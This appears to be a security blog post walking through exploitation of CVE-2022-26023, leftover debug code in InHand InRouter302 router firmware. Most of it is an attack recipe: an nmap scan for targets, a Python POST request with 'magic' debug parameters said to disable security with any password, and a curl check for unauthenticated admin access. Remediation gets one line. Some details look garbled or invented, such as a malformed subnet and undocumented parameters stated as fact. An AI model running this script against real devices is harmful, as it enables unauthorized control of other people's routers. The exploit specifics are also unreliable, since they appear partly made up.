Leftover debug code is one of the “oops” moments that developers sometimes leave behind in their software—exposing doors wide open to hackers. One of these hidden doors surfaced as CVE-2022-26023 in InHand Networks’ InRouter302 V3.5.45. In this post, we’ll dissect this vulnerability, provide a clear path for its exploitation, and help you understand why these “harmless” debug codes can be dangerous in production devices.

What Is CVE-2022-26023?

At its core, CVE-2022-26023 is a vulnerability caused by debug code left inside the firmware of InHand Networks’ InRouter302 routers (specifically V3.5.45). This code mishandles the “console verify” feature—which is supposed to authenticate users—and instead gives a skilled attacker the ability to *disable essential security features* with a few pokes.

TL;DR: If someone knows about this vulnerability and your InRouter302 is externally accessible, your security measures aren’t as strong as you think.

How Does the Vulnerability Work?

During development, engineers often add secret backdoors to make their own testing easier. InRouter302’s “console verify” functionality is supposed to validate requests from users trying to access the router’s admin area. But the leftover debug code listens for a *specific series of network requests*—and when it hears them, it assumes the user deserves full access, skipping standard security checks.

Think of it as shouting the “secret password phrase” to the guard dog, so he just lets you in.

Pre-requisites

- Access to the same network as the vulnerable router (or remote access, if the web interface is exposed).

Step 1: Identify The Target

First, detect the InRouter302 device. The default web interface is usually on port 80 or 808.

nmap -p 80,808 -A 192.168.1./24
# Look for InHand Networks banners

Step 2: The “Magic” Request

The vulnerability is triggered by sending a specific POST request to the /goform/console_verify endpoint, with certain (undocumented) parameters discovered via firmware reverse engineering.

Here’s an example using Python’s requests library

import requests

url = "http://<ROUTER_IP>/goform/console_verify";
headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}
# The magic parameters (leftover from debugging)
data = {
    "username": "admin",
    "password": "password",       # Any password works!
    "debug": "1",                 # Magic key (not documented)
    "action": "disable_security"  # Another magic key
}

r = requests.post(url, headers=headers, data=data)

if "success" in r.text:
    print("[+] Security features are now disabled!")
else:
    print("[-] Exploit failed.")

What’s Happening Here?

debug=1 tells the device to enter a debug mode (shouldn’t be accessible).

- action=disable_security triggers a branch in the code that disables some or all security mechanisms—like authentication checks or firewall rules.

In some cases, firewall protection may be disabled, so ports previously closed might be open.

curl http://<ROUTER_IP>/admin/
# Should not prompt for authentication anymore

Patch Status and Fixes

The original developer advisory for CVE-2022-26023 is available here:  
- https://nvd.nist.gov/vuln/detail/CVE-2022-26023

REMediation Tips

1. Upgrade firmware on affected routers to the latest version available from InHand Networks.

References

- NVD – CVE-2022-26023
- Firmware Download (InHand Networks)
- IoT Security Resources by Redcursor

Closing Thoughts

CVE-2022-26023 shows how a tiny piece of leftover debug logic can invalidate all other security in a networked device. If you’re a developer, *always* audit your code for test functions before release. And if you’re a device owner, don’t wait to patch—this bug is easy to exploit, and hackers already know about it.


*Stay secure, and always be on the lookout for hidden doors!*

Timeline

Published on: 11/09/2022 18:15:00 UTC
Last modified on: 11/10/2022 15:23:00 UTC